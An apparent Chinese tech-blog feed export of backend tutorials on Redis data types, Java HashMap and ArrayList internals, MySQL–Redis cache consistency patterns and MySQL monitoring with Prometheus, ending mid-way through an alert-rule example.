  3. 惰性策略减少不必要的操作
  4. 针对不同场景优化编码

这些设计思想不仅适用于Redis，也是高性能系统设计的通用原则。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 HashMap 底层结构和扩容过程 //hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/ HashMap 底层结构和扩容过程

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 Redis五种数据类型与应用场景 //redis-five-data-types/ Redis五种数据类型与应用场景

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、String（字符串）

#

1.1 基本特点

  • 最基本的数据类型，一个key对应一个value
  • 最大可存储512MB
  • 可以存储字符串、整数、浮点数

#

1.2 常用命令

# 基本操作
SET key value           # 设置值
GET key                 # 获取值
DEL key                 # 删除
EXISTS key              # 判断是否存在

# 批量操作
MSET key1 v1 key2 v2    # 批量设置
MGET key1 key2          # 批量获取

# 数值操作
INCR key                # 自增1
DECR key                # 自减1
INCRBY key 5            # 增加指定值

# 过期时间
SETEX key 60 value      # 设置并指定过期时间（秒）
SET key value EX 60     # 同上
TTL key                 # 查看剩余过期时间

#

1.3 应用场景

场景一：缓存

// 缓存用户信息
String userJson = redis.get("user:1001");
if (userJson == null) {
    User user = userMapper.findById(1001L);
    redis.setex("user:1001", 3600, JSON.toJSONString(user));
    return user;
}
return JSON.parseObject(userJson, User.class);

场景二：计数器

// 文章阅读量
redis.incr("article:read:10001");

// 限流计数
String key = "rate_limit:" + userId;
Long count = redis.incr(key);
if (count == 1) {
    redis.expire(key, 60);  // 首次设置60秒过期
}
if (count > 100) {
    throw new RateLimitException("请求过于频繁");
}

场景三：分布式锁

// 简单版分布式锁（需改进）
String key = "lock:order:10001";
String value = UUID.randomUUID().toString();
Boolean locked = redis.set(key, value, "NX", "EX", 30);
if (locked) {
    try {
        // 执行业务逻辑
    } finally {
        // 释放锁（需验证value防止误删）
        String script = 
            "if redis.call('get', KEYS[1]) == ARGV[1] then " +
            "return redis.call('del', KEYS[1]) else return 0 end";
        redis.eval(script, Collections.singletonList(key), 
                   Collections.singletonList(value));
    }
}

场景四：Session存储

// 分布式Session
redis.setex("session:" + sessionId, 1800, userId);

二、Hash（哈希）

#

2.1 基本特点

  • 键值对的集合，适合存储对象
  • 每个Hash可存储约40亿个键值对
  • 相比String序列化，更节省空间，支持字段级操作

#

2.2 常用命令

HSET user:1001 name "Alice"     # 设置字段
HGET user:1001 name             # 获取字段
HMSET user:1001 name "Alice" age 25 city "Beijing"  # 批量设置
HGETALL user:1001               # 获取所有字段
HDEL user:1001 city             # 删除字段
HLEN user:1001                  # 字段数量
HINCRBY user:1001 age 1         # 字段值增加
HEXISTS user:1001 name          # 判断字段是否存在
HKEYS user:1001                 # 获取所有字段名
HVALS user:1001                 # 获取所有字段值

#

2.3 应用场景

场景一：存储对象

// 存储用户信息
Map<String, String> userMap = new HashMap<>();
userMap.put("name", "Alice");
userMap.put("age", "25");
userMap.put("city", "Beijing");
redis.hsetAll("user:1001", userMap);

// 获取单个字段
String name = redis.hget("user:1001", "name");

// 修改单个字段
redis.hset("user:1001", "age", "26");

场景二：购物车

// 添加商品到购物车
redis.hset("cart:user:1001", "sku:2001", "2");  // 商品ID -> 数量
redis.hset("cart:user:1001", "sku:2002", "1");

// 修改数量
redis.hincrBy("cart:user:1001", "sku:2001", 1);

// 获取购物车
Map<String, String> cart = redis.hgetAll("cart:user:1001");

// 删除商品
redis.hdel("cart:user:1001", "sku:2001");

场景三：配置信息

// 存储系统配置
redis.hset("config:app", "max_upload_size", "10485760");
redis.hset("config:app", "default_timeout", "30");
redis.hset("config:app", "retry_times", "3");

// 读取配置
String timeout = redis.hget("config:app", "default_timeout");

String vs Hash存储对象对比：

方式优点缺点
String(JSON)序列化简单修改需整体更新，空间占用大
Hash字段级操作，节省空间复杂对象不便存储

三、List（列表）

#

3.1 基本特点

  • 双向链表，有序可重复
  • 两端插入和删除都是O(1)
  • 支持阻塞操作

#

3.2 常用命令

LPUSH list value            # 左侧插入
RPUSH list value            # 右侧插入
LPOP list                   # 左侧弹出
RPOP list                   # 右侧弹出
LRANGE list 0 -1            # 获取所有元素
LLEN list                   # 列表长度
LINDEX list 0               # 获取指定索引元素
LREM list 1 value           # 删除指定元素
LTRIM list 0 99             # 只保留前100个
BLPOP list 30               # 阻塞左侧弹出，等待30秒
BRPOP list1 list2 30        # 阻塞弹出，多个列表

#

3.3 应用场景

场景一：消息队列

// 生产者
redis.lpush("queue:email", emailJson);

// 消费者
while (running) {
    List<String> result = redis.brpop(30, "queue:email");
    if (result != null) {
        String emailJson = result.get(1);
        processEmail(emailJson);
    }
}

场景二：最新列表

// 添加新文章到列表
redis.lpush("articles:latest", articleId);
redis.ltrim("articles:latest", 0, 99);  // 只保留100条

// 获取最新文章
List<String> latestArticles = redis.lrange("articles:latest", 0, 9);

场景三：时间线/动态

// 用户发布动态
redis.lpush("timeline:user:1001", momentJson);
redis.ltrim("timeline:user:1001", 0, 999);

// 获取动态
List<String> moments = redis.lrange("timeline:user:1001", 0, 20);

场景四：栈和队列

// 栈（后进先出）
redis.lpush("stack", value);  // 入栈
redis.lpop("stack");          // 出栈

// 队列（先进先出）
redis.rpush("queue", value);  // 入队
redis.lpop("queue");          // 出队

四、Set（集合）

#

4.1 基本特点

  • 无序不重复集合
  • 支持集合运算（交、并、差）
  • 判断元素是否存在O(1)

#

4.2 常用命令

SADD set value              # 添加元素
SREM set value              # 删除元素
SMEMBERS set                # 获取所有元素
SISMEMBER set value         # 判断元素是否存在
SCARD set                   # 集合大小
SPOP set                    # 随机弹出一个元素
SRANDMEMBER set 3           # 随机获取3个元素（不删除）
SINTER set1 set2            # 交集
SUNION set1 set2            # 并集
SDIFF set1 set2             # 差集
SINTERSTORE result set1 set2  # 交集并存储

#

4.3 应用场景

场景一：标签系统

// 给文章添加标签
redis.sadd("article:tags:10001", "Java", "Redis", "缓存");

// 获取文章标签
Set<String> tags = redis.smembers("article:tags:10001");

// 获取有相同标签的文章
redis.sinter("tag:Java", "tag:Redis");

场景二：共同好友

// 用户的好友集合
redis.sadd("friends:user:1001", "2001", "2002", "2003");
redis.sadd("friends:user:1002", "2002", "2003", "2004");

// 共同好友
Set<String> common = redis.sinter("friends:user:1001", "friends:user:1002");
// 结果: 2002, 2003

// 可能认识的人（差集）
Set<String> suggest = redis.sdiff("friends:user:1002", "friends:user:1001");
// 结果: 2004

场景三：抽奖/随机

// 添加参与用户
redis.sadd("lottery:activity:1", "user1", "user2", "user3", ...);

// 随机抽取中奖者
Set<String> winners = redis.srandmember("lottery:activity:1", 3);

// 抽出并移除（不重复中奖）
List<String> winners = new ArrayList<>();
for (int i = 0; i < 3; i++) {
    String winner = redis.spop("lottery:activity:1");
    winners.add(winner);
}

场景四：黑名单/白名单

// IP黑名单
redis.sadd("blacklist:ip", "192.168.1.100", "10.0.0.50");

// 检查是否在黑名单
Boolean blocked = redis.sismember("blacklist:ip", clientIp);

五、ZSet（有序集合）

#

5.1 基本特点

  • 每个元素关联一个分数（score）
  • 按分数排序，分数可重复
  • 支持按分数范围查询

#

5.2 常用命令

ZADD zset score member         # 添加元素
ZREM zset member               # 删除元素
ZSCORE zset member             # 获取分数
ZRANGE zset 0 -1               # 按分数升序获取
ZREVRANGE zset 0 -1            # 按分数降序获取
ZRANGEBYSCORE zset 0 100       # 按分数范围获取
ZCARD zset                     # 元素数量
ZCOUNT zset 0 100              # 分数范围内元素数量
ZINCRBY zset 1 member          # 增加分数
ZRANK zset member              # 获取排名（升序，从0开始）
ZREVRANK zset member           # 获取排名（降序）
ZREMRANGEBYRANK zset 0 99      # 删除排名范围内的元素
ZREMRANGEBYSCORE zset 0 100    # 删除分数范围内的元素

#

5.3 应用场景

场景一：排行榜

// 更新用户积分
redis.zincrby("leaderboard:weekly", 10, "user:1001");

// 获取前10名
Set<Tuple> top10 = redis.zrevrangeWithScores("leaderboard:weekly", 0, 9);

// 获取用户排名
Long rank = redis.zrevrank("leaderboard:weekly", "user:1001");

// 获取用户分数
Double score = redis.zscore("leaderboard:weekly", "user:1001");

场景二：延时队列

// 添加延时任务（score为执行时间戳）
redis.zadd("delay:queue", System.currentTimeMillis() + 60000, taskJson);

// 消费到期任务
while (running) {
    Set<String> tasks = redis.zrangeByScore("delay:queue", 
        0, System.currentTimeMillis(), 0, 10);
    for (String task : tasks) {
        // 删除并处理（保证不被其他消费者处理）
        Long removed = redis.zrem("delay:queue", task);
        if (removed > 0) {
            processTask(task);
        }
    }
    Thread.sleep(1000);
}

场景三：滑动窗口限流

public boolean rateLimit(String userId, int maxRequests, int windowSeconds) {
    String key = "rate_limit:" + userId;
    long now = System.currentTimeMillis();
    long windowStart = now - windowSeconds * 1000;
    
    // 移除窗口外的请求记录
    redis.zremrangeByScore(key, 0, windowStart);
    
    // 获取当前窗口内的请求数
    Long count = redis.zcard(key);
    if (count >= maxRequests) {
        return false;  // 限流
    }
    
    // 记录本次请求
    redis.zadd(key, now, String.valueOf(now));
    redis.expire(key, windowSeconds);
    return true;
}

场景四：热门文章/商品

// 记录文章点击量（按时间衰减）
double score = System.currentTimeMillis() / 1000.0;
redis.zadd("articles:hot", score, "article:10001");

// 只保留最近1000篇
redis.zremrangeByRank("articles:hot", 0, -1001);

// 获取热门文章
Set<String> hotArticles = redis.zrevrange("articles:hot", 0, 9);

六、数据类型选择指南

需求推荐类型原因
简单键值缓存String最简单
存储对象Hash字段级操作，节省空间
队列/栈List双向链表，天然支持
去重/集合运算Set无序不重复
排序/排名ZSet按分数排序
计数器StringINCR原子操作
分布式锁StringSET NX EX
最新消息ListLPUSH + LTRIM
共同关注SetSINTER
排行榜ZSet自动排序

七、总结

Redis五种数据类型各有特点：

类型底层结构特点典型应用
StringSDS简单高效缓存、计数器、锁
Hashziplist/hashtable字段级操作对象存储、购物车
Listquicklist双向链表队列、时间线
Setintset/hashtable无序不重复标签、共同好友
ZSetziplist/skiplist有序集合排行榜、延时队列

理解每种数据类型的特性和适用场景，才能在实际开发中做出正确的选择，发挥Redis的最大价值。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 ArrayList 扩容机制和使用建议 //arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/ ArrayList 扩容机制和使用建议

ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
]]> Java集合 JAVA 集合 MySQL与Redis缓存一致性 //mysql-redis-cache-consistency/ MySQL与Redis缓存一致性

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、为什么缓存会不一致

#

1.1 不一致的场景

场景一：并发读写
T1: 读取缓存（miss）→ 读取数据库 → 写入缓存
                    （此时T2修改数据库并删除缓存）
T1: 写入缓存（写入的是旧数据）

场景二：读写并发
T1: 读取缓存（miss）→ 读取数据库（旧数据）
T2: 更新数据库 → 删除缓存
T1: 写入缓存（旧数据）

场景三：主从延迟
T1: 更新主库 → 删除缓存
T2: 读取缓存（miss）→ 读取从库（可能还是旧数据）→ 写入缓存

#

1.2 不一致的根本原因

  • MySQL和Redis是两个独立的存储系统
  • 没有原生的事务机制保证两者同时更新
  • 网络延迟、并发操作导致时序问题

二、缓存更新策略

#

2.1 Cache Aside（旁路缓存）

最常用的策略，应用负责维护缓存：

读流程：
  读缓存 ──hit──> 返回数据
    │ miss
    ▼
  读数据库
    │
    ▼
  写缓存
    │
    ▼
  返回数据

写流程：
  更新数据库
    │
    ▼
  删除缓存（不是更新缓存）

为什么写操作是删缓存而不是更新缓存？

  1. 避免并发写覆盖：

    T1: 更新缓存为A=1
    T2: 更新缓存为A=2
    T1: 更新数据库为A=1（数据库和缓存不一致）

  2. 懒加载：删除后下次读取时才加载，避免写入未使用的缓存

#

2.2 Read Through / Write Through

应用只和缓存交互，缓存层负责和数据库交互：

读流程：
  应用 → 缓存 ──hit──> 返回
            miss ──> 缓存自动从数据库加载

写流程：
  应用 → 缓存更新 ──> 缓存同步更新数据库

实现：需要Cache Library支持（如Caffeine的CacheLoader）。

#

2.3 Write Behind（异步写）

先写缓存，异步批量写数据库：

应用 → 更新缓存 ──> 立即返回
            └──> 异步队列 ──> 批量写入数据库

适用：写性能要求极高，可容忍短暂不一致（如计数器）。

#

2.4 策略对比

策略一致性复杂度性能适用场景
Cache Aside最终一致低高大多数场景
Read/Write Through强一致中中需要统一缓存层
Write Behind弱一致高最高高吞吐写入

三、Cache Aside一致性方案

#

3.1 先更新数据库，再删除缓存

public void updateData(Data data) {
    // 1. 更新数据库
    db.update(data);
    
    // 2. 删除缓存
    redis.del("data:" + data.getId());
}

public Data getData(Long id) {
    // 1. 读缓存
    Data data = redis.get("data:" + id);
    if (data != null) {
        return data;
    }
    
    // 2. 读数据库
    data = db.queryById(id);
    
    // 3. 写缓存
    if (data != null) {
        redis.set("data:" + id, data, 3600);
    }
    
    return data;
}

问题：极端情况下仍可能不一致（条件苛刻）

T1: 读取缓存（miss）
T1: 读取数据库（旧值）
T2: 更新数据库（新值）
T2: 删除缓存
T1: 写入缓存（旧值）

发生条件：

  • 缓存恰好失效
  • 读请求在写请求更新数据库之后、删除缓存之前完成数据库读取
  • 写请求删除缓存后，读请求才写入缓存

这个条件要求读操作非常慢，实际发生概率很低。

#

3.2 先删除缓存，再更新数据库

public void updateData(Data data) {
    // 1. 删除缓存
    redis.del("data:" + data.getId());
    
    // 2. 更新数据库
    db.update(data);
}

问题：更大的一致性问题

T1: 删除缓存
T2: 读取缓存（miss）→ 读取数据库（旧值）→ 写入缓存（旧值）
T1: 更新数据库（新值）

这个场景发生的概率更高，不推荐。

#

3.3 延迟双删

public void updateData(Data data) {
    // 1. 删除缓存
    redis.del("data:" + data.getId());
    
    // 2. 更新数据库
    db.update(data);
    
    // 3. 延迟再次删除缓存（异步）
    asyncExecutor.execute(() -> {
        try {
            Thread.sleep(500);  // 延迟500ms
            redis.del("data:" + data.getId());
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
        }
    });
}

原理：

  • 第一次删除：清除旧缓存
  • 更新数据库
  • 延迟删除：清除并发读操作可能写入的旧缓存

延迟时间确定：

  • 主从复制延迟 + 读操作耗时
  • 通常200ms-1000ms

#

3.4 删除缓存失败处理

问题：更新数据库成功，但删除缓存失败

方案一：重试机制

public void deleteCacheWithRetry(String key) {
    int retry = 3;
    while (retry-- > 0) {
        try {
            redis.del(key);
            return;
        } catch (Exception e) {
            if (retry == 0) {
                // 记录日志，人工处理或加入延迟队列
                log.error("删除缓存失败: {}", key);
                break;
            }
            try {
                Thread.sleep(100);
            } catch (InterruptedException ie) {
                Thread.currentThread().interrupt();
            }
        }
    }
}

方案二：消息队列保证

public void updateData(Data data) {
    // 1. 更新数据库
    db.update(data);
    
    // 2. 发送删除缓存消息到MQ
    mq.send(new CacheDeleteMessage("data:" + data.getId()));
}

// MQ消费者
@Component
public class CacheDeleteConsumer {
    @RabbitListener(queues = "cache.delete")
    public void onMessage(CacheDeleteMessage msg) {
        // 删除缓存，失败则重试/NACK
        redis.del(msg.getKey());
    }
}

方案三：Binlog监听（Canal）

MySQL ──> Binlog ──> Canal Server ──> MQ/直接删除Redis
// Canal客户端监听binlog变更
@Component
public class CanalClient {
    
    @PostConstruct
    public void start() {
        CanalConnector connector = CanalConnectors.newSingleConnector(
            new InetSocketAddress("canal-server", 11111), "example", "", "");
        
        connector.connect();
        connector.subscribe("mydb\\..*");
        
        while (running) {
            Message message = connector.getWithoutAck(100);
            for (Entry entry : message.getEntries()) {
                if (entry.getEntryType() == EntryType.ROWDATA) {
                    handleRowChange(entry);
                }
            }
            connector.ack(message.getId());
        }
    }
    
    private void handleRowChange(Entry entry) {
        RowChange rowChange = RowChange.parseFrom(entry.getStoreValue());
        for (RowData rowData : rowChange.getRowDatasList()) {
            if (rowChange.getEventType() == EventType.UPDATE ||
                rowChange.getEventType() == EventType.DELETE) {
                // 删除对应的Redis缓存
                String tableName = entry.getHeader().getTableName();
                Long id = getIdFromRow(rowData.getBeforeColumnsList());
                redis.del(tableName + ":" + id);
            }
        }
    }
}

Canal方案优势：

  • 业务代码无侵入
  • 最终一致性保证
  • 天然支持数据库变更监听

四、强一致性方案

#

4.1 分布式锁

public Data getData(Long id) {
    String lockKey = "lock:data:" + id;
    String cacheKey = "data:" + id;
    
    // 1. 读缓存
    Data data = redis.get(cacheKey);
    if (data != null) {
        return data;
    }
    
    // 2. 获取分布式锁
    RLock lock = redisson.getLock(lockKey);
    try {
        lock.lock(10, TimeUnit.SECONDS);
        
        // 双重检查
        data = redis.get(cacheKey);
        if (data != null) {
            return data;
        }
        
        // 3. 读数据库并写入缓存
        data = db.queryById(id);
        if (data != null) {
            redis.set(cacheKey, data, 3600);
        }
    } finally {
        lock.unlock();
    }
    
    return data;
}

#

4.2 读写锁

public class CacheService {
    private ReadWriteLock rwLock = new ReentrantReadWriteLock();
    
    public Data read(Long id) {
        rwLock.readLock().lock();
        try {
            return redis.get("data:" + id);
        } finally {
            rwLock.readLock().unlock();
        }
    }
    
    public void write(Data data) {
        rwLock.writeLock().lock();
        try {
            db.update(data);
            redis.del("data:" + data.getId());
        } finally {
            rwLock.writeLock().unlock();
        }
    }
}

五、特殊场景处理

#

5.1 主从延迟下的缓存

public Data getData(Long id) {
    Data data = redis.get("data:" + id);
    if (data != null) {
        return data;
    }
    
    // 读主库（避免从库延迟）
    data = masterDB.queryById(id);
    
    if (data != null) {
        // 设置较短的过期时间
        redis.set("data:" + id, data, 30);
    }
    
    return data;
}

#

5.2 缓存穿透

问题：查询不存在的数据，每次都打到数据库

解决：

public Data getData(Long id) {
    String cacheKey = "data:" + id;
    String nullKey = cacheKey + ":null";
    
    // 1. 读缓存
    Data data = redis.get(cacheKey);
    if (data != null) {
        return data;
    }
    
    // 2. 检查空值缓存（防止穿透）
    if (redis.hasKey(nullKey)) {
        return null;
    }
    
    // 3. 读数据库
    data = db.queryById(id);
    
    if (data != null) {
        redis.set(cacheKey, data, 3600);
    } else {
        // 缓存空值，短时间过期
        redis.set(nullKey, "", 60);
    }
    
    return data;
}

#

5.3 缓存击穿

问题：热点key过期瞬间，大量请求打到数据库

解决：

public Data getData(Long id) {
    String cacheKey = "data:" + id;
    
    Data data = redis.get(cacheKey);
    if (data != null) {
        return data;
    }
    
    // 加分布式锁，只有一个线程去加载
    RLock lock = redisson.getLock("lock:" + cacheKey);
    try {
        if (!lock.tryLock(3, 10, TimeUnit.SECONDS)) {
            // 获取锁失败，短暂等待后重试
            Thread.sleep(100);
            return getData(id);  // 递归重试
        }
        
        // 双重检查
        data = redis.get(cacheKey);
        if (data != null) {
            return data;
        }
        
        data = db.queryById(id);
        if (data != null) {
            redis.set(cacheKey, data, 3600);
        }
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    } finally {
        if (lock.isHeldByCurrentThread()) {
            lock.unlock();
        }
    }
    
    return data;
}

#

5.4 缓存雪崩

问题：大量key同时过期，数据库压力突增

解决：

public void setData(String key, Data data) {
    // 随机过期时间，避免同时过期
    int expireTime = 3600 + ThreadLocalRandom.current().nextInt(300);
    redis.set(key, data, expireTime);
}

六、总结

方案一致性复杂度性能推荐场景
Cache Aside最终一致低高大多数场景
延迟双删最终一致中高读多写少
MQ + 删除最终一致中高高可靠要求
Canal + 删除最终一致中高无侵入要求
分布式锁强一致高低强一致要求

缓存一致性设计原则：

  1. 优先使用Cache Aside：简单高效，适合绝大多数场景
  2. 写操作删除缓存，不是更新缓存：避免并发覆盖
  3. 处理删除失败：重试、MQ、Canal兜底
  4. 设置合理过期时间：最终一致的保障
  5. 热点数据永不过期：后台异步更新

核心认识：

  • 缓存和数据库的强一致性很难保证
  • 追求强一致性会大幅降低性能
  • 大多数业务场景下，最终一致性已足够
  • 设置合适的过期时间是最终一致性的”兜底”保障

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL MySQL Redis 缓存 Java 反射的使用场景和风险 //java-fan-she-de-shi-yong-chang-jing-he-feng-xian/ Java 反射的使用场景和风险

Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA MySQL监控与性能指标 //mysql-monitoring-metrics/ MySQL监控与性能指标

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、监控维度

#

1.1 四个黄金指标

维度指标说明
吞吐量QPS/TPS每秒查询/事务数
延迟查询响应时间SQL执行耗时
错误慢查询/错误率性能问题和异常
饱和度连接数/CPU/IO资源使用程度

#

1.2 监控层次

┌─────────────────────────────────────┐
│  业务层：慢查询、错误率、响应时间      │
├─────────────────────────────────────┤
│  实例层：QPS、连接数、复制状态         │
├─────────────────────────────────────┤
│  存储层：磁盘IO、Buffer Pool命中率    │
├─────────────────────────────────────┤
│  系统层：CPU、内存、网络、磁盘         │
└─────────────────────────────────────┘

二、核心性能指标

#

2.1 吞吐量指标

-- QPS（每秒查询数）
SHOW GLOBAL STATUS LIKE 'Queries';
-- QPS = (Queries2 - Queries1) / (time2 - time1)

-- TPS（每秒事务数）
SHOW GLOBAL STATUS LIKE 'Com_commit';
SHOW GLOBAL STATUS LIKE 'Com_rollback';
-- TPS = (Com_commit + Com_rollback) / 时间差

-- 各类型SQL执行次数
SHOW GLOBAL STATUS LIKE 'Com_%';

#

2.2 连接指标

-- 当前连接数
SHOW GLOBAL STATUS LIKE 'Threads_connected';

-- 活跃连接数
SHOW GLOBAL STATUS LIKE 'Threads_running';

-- 历史最大连接数
SHOW GLOBAL STATUS LIKE 'Max_used_connections';

-- 连接创建数
SHOW GLOBAL STATUS LIKE 'Connections';

-- 连接缓存命中率
-- Threads_created / Connections 应接近0

#

2.3 查询缓存指标（MySQL 8.0已移除）

-- 仅适用于MySQL 5.7及之前
SHOW GLOBAL STATUS LIKE 'Qcache%';

#

2.4 InnoDB指标

-- Buffer Pool命中率
SHOW GLOBAL STATUS LIKE 'Innodb_buffer_pool_read_requests';
SHOW GLOBAL STATUS LIKE 'Innodb_buffer_pool_reads';
-- 命中率 = 1 - reads / read_requests

-- 行操作统计
SHOW GLOBAL STATUS LIKE 'Innodb_rows_%';

-- 锁等待
SHOW GLOBAL STATUS LIKE 'Innodb_row_lock_waits';
SHOW GLOBAL STATUS LIKE 'Innodb_row_lock_time_avg';

-- Buffer Pool页状态
SHOW GLOBAL STATUS LIKE 'Innodb_buffer_pool_pages_%';

-- 日志写入
SHOW GLOBAL STATUS LIKE 'Innodb_log_waits';
SHOW GLOBAL STATUS LIKE 'Innodb_os_log_fsyncs';

#

2.5 复制指标

-- 从库延迟
SHOW SLAVE STATUS \G;
-- Seconds_Behind_Master

-- IO线程状态
-- Slave_IO_Running: Yes
-- Slave_SQL_Running: Yes

-- 主库binlog位置
SHOW MASTER STATUS;

#

2.6 慢查询指标

-- 慢查询次数
SHOW GLOBAL STATUS LIKE 'Slow_queries';

-- 全表扫描次数
SHOW GLOBAL STATUS LIKE 'Select_scan';
SHOW GLOBAL STATUS LIKE 'Select_full_join';

-- 创建临时表次数
SHOW GLOBAL STATUS LIKE 'Created_tmp_%';

三、Performance Schema监控

#

3.1 开启配置

[mysqld]
performance_schema = ON

#

3.2 常用查询

-- 查看最耗时的SQL
SELECT 
    DIGEST_TEXT AS query,
    COUNT_STAR AS exec_count,
    AVG_TIMER_WAIT / 1000000000000 AS avg_time_sec,
    MAX_TIMER_WAIT / 1000000000000 AS max_time_sec,
    SUM_ROWS_SENT AS total_rows_sent,
    SUM_ROWS_EXAMINED AS total_rows_examined
FROM performance_schema.events_statements_summary_by_digest
ORDER BY SUM_TIMER_WAIT DESC
LIMIT 10;

-- 查看表IO统计
SELECT 
    OBJECT_SCHEMA,
    OBJECT_NAME,
    COUNT_READ,
    COUNT_WRITE,
    SUM_NUMBER_OF_BYTES_READ,
    SUM_NUMBER_OF_BYTES_WRITE
FROM performance_schema.table_io_waits_summary_by_table
ORDER BY SUM_TIMER_WAIT DESC
LIMIT 10;

-- 查看锁等待
SELECT 
    OBJECT_SCHEMA,
    OBJECT_NAME,
    COUNT_READ,
    COUNT_WRITE,
    SUM_TIMER_WAIT
FROM performance_schema.table_lock_waits_summary_by_table
ORDER BY SUM_TIMER_WAIT DESC;

-- 查看文件IO
SELECT 
    EVENT_NAME,
    COUNT_READ,
    COUNT_WRITE,
    SUM_NUMBER_OF_BYTES_READ,
    SUM_NUMBER_OF_BYTES_WRITE
FROM performance_schema.file_summary_by_event_name
WHERE EVENT_NAME LIKE '%innodb%'
ORDER BY SUM_TIMER_WAIT DESC
LIMIT 10;

#

3.3 线程监控

-- 查看当前线程
SELECT 
    THREAD_ID,
    NAME,
    PROCESSLIST_ID,
    PROCESSLIST_USER,
    PROCESSLIST_HOST,
    PROCESSLIST_DB,
    PROCESSLIST_COMMAND,
    PROCESSLIST_STATE,
    PROCESSLIST_TIME,
    PROCESSLIST_INFO
FROM performance_schema.threads
WHERE TYPE = 'FOREGROUND'
ORDER BY PROCESSLIST_TIME DESC;

四、sys系统库

MySQL 5.7+ 提供的便捷视图：

-- 查看最慢的SQL（格式化后）
SELECT * FROM sys.statements_with_full_table_scans;

-- 查看执行时间最长的SQL
SELECT * FROM sys.statements_with_runtimes_in_95th_percentile;

-- 查看IO最多的表
SELECT * FROM sys.io_global_by_file_by_bytes;

-- 查看使用临时表最多的SQL
SELECT * FROM sys.statements_with_temp_tables;

-- 查看未使用索引的SQL
SELECT * FROM sys.statements_with_full_table_scans;

-- 查看InnoDB锁等待
SELECT * FROM sys.innodb_lock_waits;

-- 查看主机摘要
SELECT * FROM sys.host_summary;

五、Prometheus + Grafana监控

#

5.1 mysqld_exporter

# 下载安装
wget https://github.com/prometheus/mysqld_exporter/releases/download/v0.15.0/mysqld_exporter-0.15.0.linux-amd64.tar.gz
tar xzf mysqld_exporter-*.tar.gz

# 创建MySQL监控账号
CREATE USER 'exporter'@'localhost' IDENTIFIED BY 'password';
GRANT PROCESS, REPLICATION CLIENT, SELECT ON *.* TO 'exporter'@'localhost';

# 配置
cat > ~/.my.cnf <<EOF
[client]
user=exporter
password=password
EOF

# 启动
./mysqld_exporter --config.my-cnf=~/.my.cnf

#

5.2 Prometheus配置

# prometheus.yml
scrape_configs:
  - job_name: 'mysql'
    static_configs:
      - targets: ['localhost:9104']
        labels:
          instance: 'mysql-prod-01'

#

5.3 Grafana仪表盘

导入MySQL监控Dashboard（ID: 7362 或 11323）：

核心面板：

  • MySQL Uptime
  • Current QPS
  • Connections
  • Active Threads
  • Slow Queries
  • Replication Lag
  • Buffer Pool Hit Ratio

#

5.4 告警规则

# mysql_alerts.yml
groups:
  - name: mysql
    rules:
      - alert: MySQLDown
        expr: mysql_up == 0
        for: 1m
        labels:
          severity: critical
        annotations:
          summary: "MySQL实例宕机"
          
